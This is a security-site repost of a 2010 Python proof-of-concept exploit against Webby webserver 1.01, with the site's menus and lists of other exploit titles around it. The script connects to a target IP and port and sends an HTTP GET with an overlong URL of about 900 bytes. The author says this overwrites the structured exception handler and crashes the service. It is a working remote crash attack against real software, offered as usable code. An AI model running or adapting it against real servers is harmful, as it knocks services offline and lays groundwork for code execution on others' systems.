首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
POC - SEH control (0day) of Webby webserver
来源:http://www.s3cur1ty.de 作者:m1k3 发布时间:2010-05-26  

#!/usr/bin/python

##POC details:
##
##SEH overwritten
##
##contact:  m1k3@m1k3.at
##  http://www.s3cur1ty.de

##App detail:
##
#http://www.shareware.de/webby-webserver/
#Version  1.01
#Autor   Timo Gaik
#Lizenzart Freeware
#Plattformen Win XP, Win 98, Win ME
#Letztes Update 19.10.2004
#Dateigroesse 701 KB

import socket
import sys
import os.path
import time

if len(sys.argv) < 2:
 print "Usage: webby.py <IP-Adr> <port>"
 sys.exit(0)

ips = sys.argv[1]
port = int(sys.argv[2])

string = "A"*790
string += "\x90"*4 
string += "\x42"*105  

method = "GET"
print "starting POC for:", ips
print ""

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
 connect=s.connect((ips, port))
except:
 print "no connection possible"
 sys.exit(1)

payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0\x0d\x0a\x0d\x0a'

print "\r\nsending payload"
print "\n\rusing methode %s with buffersize of: %s" % (method,str(len(string)))
print "..."

print payload
s.send(payload)
print "finished kicking method %s with payload %s" % (method,payload)
print "... the service should be crashed ... check SEH"

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Solaris/x86 - Remote Download
·Open&Compact Ftp Server 1.2 Un
·e107 <= 0.7.20 Code Execution
·Linux/x86 - Disable randomize
·WebAsys blind SQL Injection Ex
·Kingsoft WebShield KAVSafe.sys
·Media Player Classic - v 1.3.1
·WinDirectAudio (.WAV) PoC
·linux/x86 pwrite("/etc/shadow"
·Amaya 11.3.1(dec 9 2009) remot
·linux/x86 alphanumeric Bomb FO
·Solarwinds 10.4.0.10 TFTP DOS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved